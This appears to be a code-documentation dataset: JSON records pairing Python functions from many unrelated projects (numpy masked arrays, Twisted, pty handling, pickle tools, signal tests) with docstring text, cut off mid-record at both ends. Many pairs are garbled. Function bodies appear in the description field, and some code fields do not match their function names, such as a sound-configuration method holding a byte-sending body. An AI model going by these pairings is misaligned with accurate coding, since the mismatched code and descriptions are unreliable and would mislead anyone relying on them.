from start_episode().observation (obj): Current environment observation.action (obj): Action for the observation."} {"code": "def _strip_punctuation(s):\n translate_table = dict((ord(char), '') for char in '!\"\n return s.translate(translate_table)\n", "nl": "Removes all punctuation characters from a string."} {"code": "def __array_finalize__(self, obj):\n self._update_from(obj)\n\n if isinstance(obj, ndarray):\n if obj.dtype.names is not None:\n _mask = getmaskarray(obj)\n else:\n _mask = getmask(obj)\n\n if (_mask is not nomask and obj.__array_interface__[\"data\"][0]\n != self.__array_interface__[\"data\"][0]):\n if self.dtype == obj.dtype:\n _mask_dtype = _mask.dtype\n else:\n _mask_dtype = make_mask_descr(self.dtype)\n\n if self.flags.c_contiguous:\n order = \"C\"\n elif self.flags.f_contiguous:\n order = \"F\"\n else:\n order = \"K\"\n\n _mask = _mask.astype(_mask_dtype, order)\n else:\n _mask = _mask.view()\n else:\n _mask = nomask\n\n self._mask = _mask\n if self._mask is not nomask:\n try:\n self._mask.shape = self.shape\n except ValueError:\n self._mask = nomask\n except (TypeError, AttributeError):\n pass\n\n if self._fill_value is not None:\n self._fill_value = _check_fill_value(self._fill_value, self.dtype)\n elif self.dtype.names is not None:", "nl": "Finalizes the masked array."} {"code": "def configure_hardware_sound_system(self) -> HardwareSoundPlatformInterface:\n assert self._writer is not None\n\n if not byte:\n byte = bytes()\n\n if self._send_length_of_command:\n length = len(byte)\n byte = bytes([length]) + byte\n\n cmd_str = bytes([cmd])\n cmd_str += byte\n self.debug_log(\"Sending 0x%02x%s (Cmd: %s)\", cmd, \"\".join(HEX_FORMAT % b for b in byte), cmd)\n self._writer.write(cmd_str)\n", "nl": "Configure hardware sound.return LisySound(self)def send_byte(self, cmd: int, byte: bytes = None):Send a command with optional payload."} {"code": "def scale_1024(x, n_prefixes):\n if x <= 0:\n power = 0\n else:\n power = min(int(math.log(x, 2) / 10), n_prefixes - 1)\n scaled = float(x) / (2 ** (10 * power))\n return scaled, power", "nl": "Scale a number down to a suitable size, based on powers of 1024.Returns the scaled number and the power of 1024 used.Use to format numbers of bytes to KiB, MiB, etc.>>> scale_1024(310, 3)(310.0, 0)>>> scale_1024(2048, 3)(2.0, 1)>>> scale_1024(0, 2)(0.0, 0)>>> scale_1024(0.5, 2)(0.5, 0)>>> scale_1024(1, 2)(1.0, 0)"} {"code": "def execute(self):\n steps = self.schema.get(\"steps\", [])\n self.logger.info(\"Starting scenario '%s' (%d steps)\", self.name, len(steps))\n for step in steps:\n for action_name, action_method in self.action_mapping.items():\n if action_name in step:\n step_action = step.get(action_name)\n ret = self.retry(step_action, action_method)\n if not ret:\n self.logger.warning(\"Step returned failure %s. Finishing scenario early\", step)\n self.metric_collector.add_scenario_counter_metric(self.name, False)\n self.cleanup()\n return False\n self.logger.info(\"Scenario finished\")\n self.metric_collector.add_scenario_counter_metric(self.name, True)\n self.cleanup()\n return True\n", "nl": "Main entry point to starting a scenario."} {"code": "def Simplex(devs, label, df_list=False, exploration=0.01, scale=1):\n predictions = []\n if df_list:\n for df in devs:\n predictions.append(df.proba)\n\n print(len(predictions[0]))\n else:\n for i, column in enumerate(devs):\n predictions.append(devs.iloc[:, i])\n\n print(len(predictions[0]))\n\n print(\"Optimizing {} inputs.\".format(len(predictions)))\n", "nl": "devs: list of dataframes with \"proba\" columnlabel: list/np array of ground truthsscale: By default we will get weights in the 0-1 range. Setting e.g. scale=50, gives weights in the 0-50 range."} {"code": "def storage(self) -> DictConfig:\n\n Args:\n resolve: If True, resolve all values in system settings file. MLCube uses `omegaconf` library, and MLCube", "nl": "Return `storage` configuration section.return self.settings.storagedef save(self, resolve: bool = False) -> 'SystemSettings':Serialize system settings."} {"code": "def __init__(self, lock=None):\n self._lock = lock\n", "nl": "Create a Storage instance.Args:lock: An optional threading.Lock-like object. Must implement atleast acquire() and release(). Does not need to bere-entrant."} {"code": "def _by_version(name):\n name, ext = os.path.splitext(name)\n parts = itertools.chain(name.split('-'), [ext])\n return [packaging.version.parse(part) for part in parts]\n\n return sorted(names, key=_by_version, reverse=True)\n\n", "nl": "Parse each component of the filename"} {"code": "def test_isInIOThread(self):\n results = []\n reactor = self.buildReactor()", "nl": "The reactor registers itself as the I/O thread when it runs so thatL{twisted.python.threadable.isInIOThread} returns C{True} if it iscalled in the thread the reactor is running in."} {"code": "def prep_vrn_file(in_file, vcaller, work_dir, somatic_info, writer_class, seg_file=None, params=None):\n data = somatic_info.tumor_data\n if not params:\n params = PARAMS\n out_file = os.path.join(work_dir, \"%s-%s-prep.csv\" % (utils.splitext_plus(os.path.basename(in_file))[0],\n vcaller))\n if not utils.file_uptodate(out_file, in_file):\n ready_bed = None\n if ready_bed and utils.file_exists(ready_bed):\n sub_file = _create_subset_file(in_file, ready_bed, work_dir, data)\n else:\n sub_file = in_file\n max_depth = max_normal_germline_depth(sub_file, params, somatic_info)\n with file_transaction(data, out_file) as tx_out_file:\n with open(tx_out_file, \"w\") as out_handle:\n writer = writer_class(out_handle)\n writer.write_header()\n bcf_in = pysam.VariantFile(sub_file)\n for rec in bcf_in:\n stats = _is_possible_loh(rec, bcf_in, params, somatic_info, max_normal_depth=max_depth)\n if chromhacks.is_autosomal(rec.chrom) and stats is not None:\n writer.write_row(rec, stats)\n return out_file\n\n\nNORMAL_FILTER_PARAMS = {\"min_depth_percent\": 0.5, \"max_depth_percent\": 1.5,\n \"min_freq_narrow\": 0.4, \"max_freq_narrow\": 0.65}\n", "nl": "Select heterozygous variants in the normal sample with sufficient depth.writer_class implements write_header and write_row to write VCF outputsfrom a record and extracted tumor/normal statistics."} {"code": "def getbytes(self, begin, end):\n raise NotImplementedError()\n", "nl": "Get bytes from the media.Args:begin: int, offset from beginning of file.length: int, number of bytes to read, starting at begin.Returns:A string of bytes read. May be shorter than length if EOF was reachedfirst."} {"code": "def ungap_sequences(records, gap_chars=GAP_TABLE):\n logging.info('Applying _ungap_sequences generator: removing all gap characters')\n for record in records:\n yield ungap_all(record, gap_chars)\n\n", "nl": "Remove gaps from sequences, given an alignment."} {"code": "def _text_file_to_safe_dom(reader, content_if_empty):\n if reader:\n return reader.read().decode('utf-8')\n else:\n return content_if_empty\n", "nl": "Load text file and convert it to safe_dom tree for display.info = []if reader:lines = reader.read().decode('utf-8')for line in lines.split('\\n'):if not line:continuepre = safe_dom.Element('pre')pre.add_text(line)info.append(pre)else:info.append(content_if_empty)return infodef _text_file_to_string(reader, content_if_empty):Load text file and convert it to string for display."} {"code": "def __init__(self, query, cand_embeds, project_query=False):\n with tf.name_scope(\"CandidateScorer\"):\n cand_batch = FeedSequenceBatch()\n embedded_cand_batch = embed(cand_batch, cand_embeds)\n attention = Attention(embedded_cand_batch, query, project_query=project_query)\n\n self._attention = attention\n self._cand_batch = cand_batch\n self._scores = SequenceBatch(attention.logits, cand_batch.mask)\n self._probs = SequenceBatch(attention.probs, cand_batch.mask)\n\n @property", "nl": "Create a CandidateScorer.Args:query (Tensor): of shape (batch_size, query_dim)cand_embeds (Tensor): of shape (cand_vocab_size, cand_dim)project_query (bool): whether to project the query tensor to match the dimension of the cand_embeds"} {"code": "def setwinsize(self, rows, cols):\n return _setwinsize(self.fd, rows, cols)\n\n\nclass PtyProcessUnicode(PtyProcess):\n \"\"\"Unicode wrapper around a process running in a pseudoterminal.\n if PY3:\n string_type = str\n else:\n string_type = unicode\n", "nl": "Set the terminal window size of the child tty.This will cause a SIGWINCH signal to be sent to the child. This does notchange the physical window size. It changes the size reported toTTY-aware applications like vi or curses -- applications that respond tothe SIGWINCH signal."} {"code": "def _table_reader(table_file):\n with io.open(table_file, encoding=\"utf-8\") as f:\n for line in f:\n entries = line.lower().split(\"\\t\")\n table = [[\n _normalize_text(member).split() for member in entry.split(\"|||\")\n ] for entry in entries]\n yield table\n\n", "nl": "Yields tables from the table file.Tables are parsed into a list of tuples with tokenized entries.Args:table_file: String filename."} {"code": "def test_update_handler_raises_httperror(self):\n resp = requests.Response()\n resp.status_code = 400\n self.client.r_session.put = mock.Mock(return_value=resp)\n with self.assertRaises(requests.HTTPError) as cm:\n self.db.update_handler_result('ddoc001', 'update001', 'julia001',\n field='new_field', value='new_value',\n data={'message': 'hello'})\n err = cm.exception\n self.assertEqual(err.response.status_code, 400)\n ddoc = DesignDocument(self.db, 'ddoc001')\n self.client.r_session.put.assert_called_with(\n '/'.join([ddoc.document_url, '_update', 'update001', 'julia001']),\n data={'message': 'hello'},\n params={'field': 'new_field', 'value': 'new_value'})\n", "nl": "Test update_handler_result raises an HTTPError."} {"code": "def test_handle_invalid(self):\n assert self.oef_search_handler.teardown() is None\n self.assert_quantity_in_outbox(0)", "nl": "Test the _handle_invalid method of the oef_search handler.# setupincoming_message = cast(OefSearchMessage,self.build_incoming_message(message_type=OefSearchMessage,performative=OefSearchMessage.Performative.REGISTER_SERVICE,service_description=self.mocked_proposal,),)# operationwith patch.object(self.logger, \"log\") as mock_logger:self.oef_search_handler.handle(incoming_message)# aftermock_logger.assert_any_call(logging.WARNING,f\"cannot handle oef_search message of performative={incoming_message.performative} in dialogue={self.oef_search_dialogues.get_dialogue(incoming_message)}.\",)def test_teardown(self):Test the teardown method of the oef_search handler."} {"code": "def inv_inplace(a):\n\n\n@_scal_inplace", "nl": "1.0/a (inplace on a)@_scal_inplacedef log_inplace(a):base e logarithm of a (inplace on a)"} {"code": "def _find_adapter(registry, ob):\n dirname = os.path.dirname(path)\n py31compat.makedirs(dirname, exist_ok=True)\n\n", "nl": "Return an adapter factory for `ob` from `registry`types = _always_object(inspect.getmro(getattr(ob, '__class__', type(ob))))for t in types:if t in registry:return registry[t]def ensure_directory(path):Ensure that the parent directory of `path` exists"} {"code": "def test_build_goods_description_demand(self):\n good_ids = [\"2\", \"3\"]\n currency_id = \"1\"\n ledger_id = \"some_ledger_id\"\n is_searching_for_sellers = True\n\n attributes = [\n Attribute(\"2\", int, True, \"A good on offer.\"),\n Attribute(\"3\", int, True, \"A good on offer.\"),\n Attribute(\"ledger_id\", str, True, \"The ledger for transacting.\"),\n Attribute(\n \"currency_id\",\n str,\n True,\n \"The currency for pricing and transacting the goods.\",\n ),\n Attribute(\"price\", int, False, \"The price of the goods in the currency.\"),\n Attribute(\n \"fee\",\n int,\n False,\n \"The transaction fee payable by the buyer in the currency.\",\n ),\n Attribute(\n \"nonce\", str, False, \"The nonce to distinguish identical descriptions.\"\n ),\n ]\n expected_data_model = DataModel(SUPPLY_DATAMODEL_NAME, attributes)\n\n expected_constraints = [\n Constraint(\"2\", ConstraintType(\">=\", 1)),\n Constraint(\"3\", ConstraintType(\">=\", 1)),\n Constraint(\"ledger_id\", ConstraintType(\"==\", ledger_id)),\n Constraint(\"currency_id\", ConstraintType(\"==\", currency_id)),\n ]\n\n actual_query = build_goods_query(\n good_ids, currency_id, ledger_id, is_searching_for_sellers\n )\n\n constraints = [\n (c.constraint_type.type, c.constraint_type.value)\n for c in actual_query.constraints[0].constraints\n ]\n for constraint in expected_constraints:\n assert (\n constraint.constraint_type.type,\n constraint.constraint_type.value,\n ) in constraints\n assert actual_query.model == expected_data_model\n", "nl": "Test the build_goods_description of Helpers module for demand (same as above).quantities_by_good_id = {\"2\": 5, \"3\": 10}currency_id = \"1\"ledger_id = \"some_ledger_id\"is_supply = Falseattributes = [Attribute(\"2\", int, True, \"A good on offer.\"),Attribute(\"3\", int, True, \"A good on offer.\"),Attribute(\"ledger_id\", str, True, \"The ledger for transacting.\"),Attribute(\"currency_id\",str,True,\"The currency for pricing and transacting the goods.\",),Attribute(\"price\", int, False, \"The price of the goods in the currency.\"),Attribute(\"fee\",int,False,\"The transaction fee payable by the buyer in the currency.\",),Attribute(\"nonce\", str, False, \"The nonce to distinguish identical descriptions.\"),]expected_data_model = DataModel(DEMAND_DATAMODEL_NAME, attributes)expected_values = {\"currency_id\": currency_id, \"ledger_id\": ledger_id}expected_values.update(quantities_by_good_id)expected_description = Description(expected_values, expected_data_model)actual_description = build_goods_description(quantities_by_good_id, currency_id, ledger_id, is_supply)assert actual_description == expected_descriptiondef test_build_goods_query(self):Test the build_goods_query of Helpers module."} {"code": "def testChangePublicCellsWithFcnRef(self):\n self.assertEqual(engine.action(\"whatever\"), 13)\n\n engine, = PFAEngine.fromYaml('''\n self.assertEqual(engine.action(\"whatever\"), 13)\n\n engine, = PFAEngine.fromYaml('''\n self.assertEqual(engine.action(\"whatever\"), 13)\n", "nl": "engine, = PFAEngine.fromYaml(input: stringoutput: intaction:- {cell: x, to: {fcn: u.inc}}- {cell: x}cells:x: {type: int, init: 12, shared: true}fcns:inc: {params: [{z: int}], ret: int, do: [{+: [z, 1]}]})"} {"code": "def _data_for_select_zone(self, zones):\n res = []\n for zone in zones:\n zone_data = self.data.location(zone)\n zone_lines = self._zone_lines(zone)\n if not zone_lines:\n continue", "nl": "Retrieve detailed info for each zone.Zone without lines are skipped.Zone with lines will have line counters by operation type.:param zones: zone location recordset:return: see _schema_for_select_zone"} {"code": "def _update_internal_seed_structure(self):\n if not self.temp:\n return\n if not self.volume and not self.abbreviations and \\\n len(self.stations) == 0:\n self.volume = [i for i in self.temp['volume']\n if i.id not in [11, 12]]\n self.abbreviations = self.temp['abbreviations']\n self.stations.extend(self.temp['stations'])\n del self.temp\n else:\n msg = 'Merging is an experimental feature and still contains ' + \\\n 'a lot of errors!'\n warnings.warn(msg, UserWarning)\n for blkt in self.temp['abbreviations']:\n id = blkt.blockette_type\n cur_index = 1\n for ex_blkt in self.abbreviations:\n if id != ex_blkt.blockette_type:\n continue\n cur_index += 1\n if not self._compare_blockettes(blkt, ex_blkt):\n continue\n self._update_temporary_stations(\n id, getattr(ex_blkt, INDEX_FIELDS[id]))\n break\n else:\n self._update_temporary_stations(id, cur_index)\n setattr(blkt, INDEX_FIELDS[id], cur_index)\n self.abbreviations.append(blkt)\n self.stations.extend(self.temp['stations'])\n\n self.volume[0].version_of_format = 2.4\n", "nl": "Takes everything in the self.temp dictionary and writes it into thevolume, abbreviations and stations attributes of the class.The self.temp dictionary can only contain one seed volume with acorrect structure.This method will try to merge everything, discard double entries andadjust abbreviations.It will also discard unnecessary blockettes that will be createdagain when writing SEED or XSEED."} {"code": "def test_pods_belonging_to_KUBERDOCK_INTERNAL_USER_are_not_deleted(self):\n pod = fake_pod(sid='s', owner=self.internal_user)\n\n self.app._get_by_id = (lambda x: pod)\n\n with self.assertRaises(APIError):\n self.app.delete(str(uuid4()))\n\n self.assertFalse(self.app.k8squery.delete.called)\n\n @mock.patch.object(podcollection.dns_management, 'delete_record')\n @mock.patch.object(podcollection.helpers, 'mark_pod_as_deleted')\n @mock.patch.object(podcollection.podutils, 'raise_if_failure')\n @mock.patch.object(podcollection.PodCollection, '_drop_namespace')\n @mock.patch.object(podcollection.helpers, 'get_pod_config')\n @mock.patch.object(podcollection.PersistentDisk, 'free')", "nl": "Tests that when pod owner is podcollection.KUBERDOCK_INTERNAL_USERan exception is raised"} {"code": "def locate_first_newline(stream, start):\n from the deadloops, we count the number of operations performed\n and will raise an exception if things go wrong (too much ops)\n \"\"\"", "nl": "We need to locate the first newlinestream.seek(start)for line in stream:if is_empty(line):return stream.tell()class TokensIterator(object):def __init__(self, tokens, string):self.position = -1self.tokens = tokensself.string = stringself.stream = StringIO(string)self.opcount = 0def next(self):self.position += 1if self.position >= len(self.tokens):return _ENDreturn self.tokens[self.position]def current(self):if self.position >= len(self.tokens):return _ENDreturn self.tokens[self.position]def back(self):self.position -= 1def check(self): This function is used to protect our lovely scanner"} {"code": "def send(self, request, **kwargs):", "nl": "Send a given PreparedRequest.:rtype: requests.Response"} {"code": "def save_tree(obj):\n \"\"\"", "nl": "recursive saveobj.save()for child in obj.children.values():save_tree(child)child.close()del childobj.close()del objfor child in self.top.children.values():save_tree(child)self.top.close()# TODO: non-destructive saving (changes are lost)def write_to_file(self, filepath=None, asOgawa=True, userDescription=\"\"):Writes this archive to a file on disk and closes the Archive."} {"code": "def merge_all(guesses, append=None):\n if not guesses:\n return Guess()\n\n result = guesses[0]\n if append is None:\n append = []\n\n for g in guesses[1:]:\n for prop in append:\n if prop in g:\n result.set(prop, result.get(prop, []) + [g[prop]],\n confidence=g.confidence(prop))\n\n del g[prop]\n\n dups = set(result) & set(g)\n if dups:\n log.warning('duplicate properties %s in merged result...' % dups)\n\n result.update_highest_confidence(g)\n\n for p in list(result.keys()):\n if result.confidence(p) < 0.05:\n del result[p]\n\n for prop in append:\n try:\n value = result[prop]\n if isinstance(value, list):\n result[prop] = list(set(value))\n else:\n result[prop] = [ value ]\n except KeyError:\n pass\n\n return result", "nl": "Merge all the guesses in a single result, remove very unlikely values,and return it.You can specify a list of properties that should be appended into a listinstead of being merged.>>> s(merge_all([ Guess({'season': 2}, confidence=0.6),... Guess({'episodeNumber': 13}, confidence=0.8) ])){'season': 2, 'episodeNumber': 13}>>> s(merge_all([ Guess({'episodeNumber': 27}, confidence=0.02),... Guess({'season': 1}, confidence=0.2) ])){'season': 1}>>> s(merge_all([ Guess({'other': 'PROPER'}, confidence=0.8),... Guess({'releaseGroup': '2HD'}, confidence=0.8) ],... append=['other'])){'releaseGroup': '2HD', 'other': ['PROPER']}"} {"code": "def read_decimalnl_long(f):\n\n s = read_stringnl(f, decode=False, stripquotes=False)\n if s[-1:] == b'L':\n s = s[:-1]\n return int(s)\n\n\ndecimalnl_short = ArgumentDescriptor(\n name='decimalnl_short',\n n=UP_TO_NEWLINE,\n reader=read_decimalnl_short,\n doc=\"\"\"A newline-terminated decimal integer literal.\n\ndecimalnl_long = ArgumentDescriptor(\n name='decimalnl_long',\n n=UP_TO_NEWLINE,\n reader=read_decimalnl_long,\n doc=\"\"\"A newline-terminated decimal integer literal.\n\n", "nl": "r>>> import io>>> read_decimalnl_long(io.BytesIO(b\"1234L\\n56\"))1234>>> read_decimalnl_long(io.BytesIO(b\"123456789012345678901234L\\n6\"))123456789012345678901234"} {"code": "def regnetx_002(pretrained=False, **kwargs):\n return _create_regnet('regnetx_004', pretrained, **kwargs)\n\n\n@register_model", "nl": "RegNetX-200MFreturn _create_regnet('regnetx_002', pretrained, **kwargs)@register_modeldef regnetx_004(pretrained=False, **kwargs):RegNetX-400MF"} {"code": "def test_empty_parameter(self):\n if pystan_version() == 2:\n from pystan import StanModel\n\n model = StanModel(model_code=model_code)\n fit = model.sampling(iter=500, chains=2, check_hmc_diagnostics=False)\n else:\n import stan\n\n model = stan.build(model_code)\n fit = model.sample(num_samples=500, num_chains=2)\n\n posterior = from_pystan(posterior=fit)\n test_dict = {\"posterior\": [\"y\", \"x\", \"z\", \"~a\"], \"sample_stats\": [\"diverging\"]}\n fails = check_multiple_attrs(test_dict, posterior)\n assert not fails\n", "nl": "model_code = parameters {real y;vector[3] x;vector[0] a;vector[2] z;}model {y ~ normal(0,1);}"} {"code": "def __init__(self, core, clock=None):\n self.core = core\n self.clock = clock\n self.identity_behavior_registry = BehaviorRegistryCollection()\n\n @app.route(\"/\", methods=[\"GET\"])", "nl": ":param mimic.core.MimicCore core: The core object to dispatch routesfrom.:param twisted.internet.task.Clock clock: The clock to advance from the``/mimic/v1.1/tick`` API."} {"code": "def _data_writer(data, file_path, sr = 16000):\n file_name, file_ext = os.path.splitext(file_path)\n if file_ext == '.wav':\n nii_wav_tk.waveFloatToPCMFile(data, file_path, sr = sr)\n elif file_ext == '.txt':\n nii_warn.f_die(\"Cannot write to %s\" % (file_path))\n else:\n nii_io_tk.f_write_raw_mat(data, file_path)\n return\n", "nl": " A wrapper to write raw binary data or waveform"} {"code": "def token_from_subtoken(units: torch.Tensor, mask: torch.Tensor) -> torch.Tensor:\n shape = units.size()\n batch_size = shape[0]\n nf = shape[2]\n nf_int = units.size()[-1]\n\n token_seq_lengths = torch.sum(mask, 1).to(torch.int64)\n\n n_words = torch.sum(token_seq_lengths)\n\n max_token_seq_len = torch.max(token_seq_lengths)\n\n idxs = torch.stack(torch.nonzero(mask, as_tuple=True), dim=1)\n\n sample_ids_in_batch = torch.nn.functional.pad(input=idxs[:, 0], pad=[1, 0])\n\n a = torch.logical_not(torch.eq(sample_ids_in_batch[1:], sample_ids_in_batch[:-1]).to(torch.int64))\n\n q = a * torch.arange(n_words).to(torch.int64)\n count_to_substract = torch.nn.functional.pad(torch.masked_select(q, q.to(torch.bool)), [1, 0])\n\n new_word_indices = torch.arange(n_words).to(torch.int64) - torch.gather(\n count_to_substract, dim=0, index=torch.cumsum(a, 0)\n )\n\n n_total_word_elements = (batch_size * max_token_seq_len).to(torch.int32)\n word_indices_flat = (idxs[:, 0] * max_token_seq_len + new_word_indices).to(torch.int64)\n x_mask = torch.sum(torch.nn.functional.one_hot(word_indices_flat, n_total_word_elements), 0)\n x_mask = x_mask.to(torch.bool)\n\n full_range = torch.arange(batch_size * max_token_seq_len).to(torch.int64)\n nonword_indices_flat = torch.masked_select(full_range, torch.logical_not(x_mask))\n\n", "nl": "Assemble token level units from subtoken level unitsArgs:units: torch.Tensor of shape [batch_size, SUBTOKEN_seq_length, n_features]mask: mask of token beginnings. For example: for tokens[[``[CLS]`` ``My``, ``capybara``, ``[SEP]``],[``[CLS]`` ``Your``, ``aar``, ``##dvark``, ``is``, ``awesome``, ``[SEP]``]]the mask will be[[0, 1, 1, 0, 0, 0, 0],[0, 1, 1, 0, 1, 1, 0]]Returns:word_level_units: Units assembled from ones in the mask. For theexample above this units will correspond to the following[[``My``, ``capybara``],[``Your`, ``aar``, ``is``, ``awesome``,]]the shape of this tensor will be [batch_size, TOKEN_seq_length, n_features]"} {"code": "def clean_username(self):\n try:\n user = User.objects.get(username__iexact=self.cleaned_data['username'])\n except User.DoesNotExist:\n return self.cleaned_data['username']\n\n raise forms.ValidationError(\n _(\"The username already exists. Please try another one.\")\n )\n", "nl": "Verify that a user with a similar username does not exist yet:return:"} {"code": "def test_input_node_with_children(self):\n with self.assertRaises(ParserException):\n self._graph.parse_template_expression(template)", "nl": "template = ET.fromstring()"} {"code": "def test_hasHeaderTrue(self):\n h = Headers()\n h.setRawHeaders(u\"test\\u00E1\", [u\"lemur\"])\n self.assertTrue(h.hasHeader(u\"test\\u00E1\"))\n self.assertTrue(h.hasHeader(u\"Test\\u00E1\"))\n self.assertTrue(h.hasHeader(b\"test\\xe1\"))\n self.assertTrue(h.hasHeader(b\"Test\\xe1\"))\n\n", "nl": "Check that L{Headers.hasHeader} returns C{True} when the given headeris found."} {"code": "def determine_service_name():", "nl": " This function makes a best effort to name this application process. # One environment variable to rule them allif \"INSTANA_SERVICE_NAME\" in os.environ:return os.environ[\"INSTANA_SERVICE_NAME\"]# Now best effort in naming this process. No nice package.json like in Node.js# so we do best effort detection here.app_name = \"python\" # the default namebasename = Nonetry:if not hasattr(sys, 'argv'):proc_cmdline = get_proc_cmdline(as_string=False)return os.path.basename(proc_cmdline[0])# Get first argument that is not an CLI optionfor candidate in sys.argv:if len(candidate) > 0 and candidate[0] != '-':basename = candidatebreak# If nothing found, fall back to executableif basename is None:basename = os.path.basename(sys.executable)else:# Assure leading paths are strippedbasename = os.path.basename(basename)if basename == \"gunicorn\":if 'setproctitle' in sys.modules:# With the setproctitle package, gunicorn renames their processes# to pretty things - we use those by default# gunicorn: master [djface.wsgi]# gunicorn: worker [djface.wsgi]app_name = get_proc_cmdline(as_string=True)else:app_name = basenameelif \"FLASK_APP\" in os.environ:app_name = os.environ[\"FLASK_APP\"]elif \"DJANGO_SETTINGS_MODULE\" in os.environ:app_name = os.environ[\"DJANGO_SETTINGS_MODULE\"].split('.')[0]elif basename == '':if sys.stdout.isatty():app_name = \"Interactive Console\"else:# No arguments. Take executable as app_nameapp_name = os.path.basename(sys.executable)else:# Last chance. app_name for \"python main.py\" would be \"main.py\" here.app_name = basename# We should have a good app_name by this point.# Last conditional, if uwsgi, then wrap the name# with the uwsgi process typeif basename == \"uwsgi\":# We have an app name by this point. Now if running under# uwsgi, augment the app nametry:import uwsgiif app_name == \"uwsgi\":app_name = \"\"else:app_name = \" [%s]\" % app_nameif os.getpid() == uwsgi.masterpid():uwsgi_type = \"uWSGI master%s\"else:uwsgi_type = \"uWSGI worker%s\"app_name = uwsgi_type % app_nameexcept ImportError:passexcept Exception:logger.debug(\"non-fatal get_application_name: \", exc_info=True)return app_namedef get_proc_cmdline(as_string=False):"} {"code": "def get_create_model_class(self):\n pass\n", "nl": "Expected to be generated inside the module.passdef get_update_model_class(self):Expected to be generated inside the module."} {"code": "def simple_conv_specs(s: str):\n simple_conv_specs_re = re.compile(u'\\\\%\\\\w')\n return simple_conv_specs_re.findall(s)\n\n", "nl": "Return the simple Python string conversion specifiers in the string s.e.g. ['%s', '%i']See http://docs.python.org/library/stdtypes.html#string-formatting"} {"code": "def _config(self):\n return (\n self.destructive,\n self.output_type,\n self.seed,\n )\n", "nl": "Return a tuple of attributes that define the Op."} {"code": "def ret(self):\n\n :type pf: callable with ``isDefinedAt`` method\n :param pf: partial function that takes any titus.pfaast.Ast as an argument, returning anything\n :type pf.isDefinedAt: callable\n :param pf.isDefinedAt: domain that takes any titus.pfaast.Ast as an argument, returning ``True`` if this item is in the domain, ``False`` otherwise\n :rtype: list of function results\n :return: a result for each abstract syntax tree node in the ``pf`` function's domain\n \"\"\"", "nl": "Resolved return type (titus.datatype.AvroType).return self.retPlaceholder.avroTypedef collect(self, pf):Walk over tree applying a partial function, returning a list of results in its domain."} {"code": "def on_key_press(self, key, modifiers):\n\n if key == arcade.key.UP or key == arcade.key.W:\n self.up_pressed = False\n self.jump_needs_reset = False\n elif key == arcade.key.DOWN or key == arcade.key.S:\n self.down_pressed = False\n elif key == arcade.key.LEFT or key == arcade.key.A:\n self.left_pressed = False\n elif key == arcade.key.RIGHT or key == arcade.key.D:\n self.right_pressed = False\n\n if key == arcade.key.Q:\n self.shoot_pressed = False\n\n self.process_keychange()\n", "nl": "Called whenever a key is pressed.if key == arcade.key.UP or key == arcade.key.W:self.up_pressed = Trueelif key == arcade.key.DOWN or key == arcade.key.S:self.down_pressed = Trueelif key == arcade.key.LEFT or key == arcade.key.A:self.left_pressed = Trueelif key == arcade.key.RIGHT or key == arcade.key.D:self.right_pressed = Trueif key == arcade.key.Q:self.shoot_pressed = Trueself.process_keychange()def on_key_release(self, key, modifiers):Called when the user releases a key."} {"code": "def report(self, obj):\n if isinstance(obj, JsonSnapshotableEntity):\n self.__journal.store(obj)\n else:\n raise '{0} is not JsonSnashotable\\n{1}'.format(type(obj), obj)\n", "nl": "Add object to report.Args:obj: The object to write into the report."} {"code": "def send(self, request, **kwargs):", "nl": "Send a given PreparedRequest.:rtype: requests.Response"} {"code": "def empty_address(web3, accounts):\n return accounts[7]\n\n\n\n\n@pytest.fixture", "nl": "This account never holds anything.return accounts[6]@pytest.fixturedef allowed_party(web3, accounts):Gets ERC-20 allowance."} {"code": "def view_setETag(self, issuer, tag):\n self.setETag(tag)\n\n", "nl": "Remote version of setETag; same interface."} {"code": "def remove_index_types(data):\n print('\\tRemoving index types ...')\n for i in range(len(data)):\n for j in range(len(data[i])):\n if re.match(\"<%ID> = extractelement\", data[i][j]) is not None or \\\n re.match(\"<%ID> = insertelement\", data[i][j]) is not None:\n data[i][j] = re.sub(r'i\\d+ ', ' ', data[i][j])\n\n return data\n\n", "nl": "Replace the index type in expressions containing \"extractelement\" or \"insertelement\" by token :param data: input data as a list of files where each file is a list of strings:return: modified input data"} {"code": "def test_pthread_sigmask(self):\n assert_python_ok('-c', code)\n\n @unittest.skipUnless(hasattr(signal, 'pthread_kill'),\n 'need signal.pthread_kill()')", "nl": "code = if 1:import signalimport os; import threadingdef handler(signum, frame):1/0def kill(signum):os.kill(os.getpid(), signum)def check_mask(mask):for sig in mask:assert isinstance(sig, signal.Signals), repr(sig)def read_sigmask():sigmask = signal.pthread_sigmask(signal.SIG_BLOCK, [])check_mask(sigmask)return sigmasksignum = signal.SIGUSR1# Install our signal handlerold_handler = signal.signal(signum, handler)# Unblock SIGUSR1 (and copy the old mask) to test our signal handlerold_mask = signal.pthread_sigmask(signal.SIG_UNBLOCK, [signum])check_mask(old_mask)try:kill(signum)except ZeroDivisionError:passelse:raise Exception(\"ZeroDivisionError not raised\")# Block and then raise SIGUSR1. The signal is blocked: the signal# handler is not called, and the signal is now pendingmask = signal.pthread_sigmask(signal.SIG_BLOCK, [signum])check_mask(mask)kill(signum)# Check the new maskblocked = read_sigmask()check_mask(blocked)if signum not in blocked:raise Exception(\"%s not in %s\" % (signum, blocked))if old_mask ^ blocked != {signum}:raise Exception(\"%s ^ %s != {%s}\" % (old_mask, blocked, signum))# Unblock SIGUSR1try:# unblock the pending signal calls immediately the signal handlersignal.pthread_sigmask(signal.SIG_UNBLOCK, [signum])except ZeroDivisionError:passelse:raise Exception(\"ZeroDivisionError not raised\")try:kill(signum)except ZeroDivisionError:passelse:raise Exception(\"ZeroDivisionError not raised\")# Check the new maskunblocked = read_sigmask()if signum in unblocked:raise Exception(\"%s in %s\" % (signum, unblocked))if blocked ^ unblocked != {signum}:raise Exception(\"%s ^ %s != {%s}\" % (blocked, unblocked, signum))if old_mask != unblocked:raise Exception(\"%s != %s\" % (old_mask, unblocked))"} {"code": "def __init__(self, augmentation_cls_or_factory):\n super().__init__()\n if isinstance(augmentation_cls_or_factory, AugmentationFactory):\n self.augmentation_cls = augmentation_cls_or_factory.augmentation_cls\n elif isinstance(augmentation_cls_or_factory, type) and issubclass(augmentation_cls_or_factory, DeterministicImageAugmentation):\n self.augmentation_cls = augmentation_cls_or_factory\n else:\n print(repr(augmentation_cls_or_factory))\n raise ValueError()\n", "nl": "rCreates a new factory.Args:augmentation_cls_or_factory: Either a subclass ``DeterministicImageAugmentation`` in which the factory willwrap this augmentation , or another ``AugmentationFactory`` in which case the constructor acts like a copyconstructor."} {"code": "def generate_sentences(self, title, text):\n title_tokens = self._tokenizer.tokenize(title)\n title_ids = 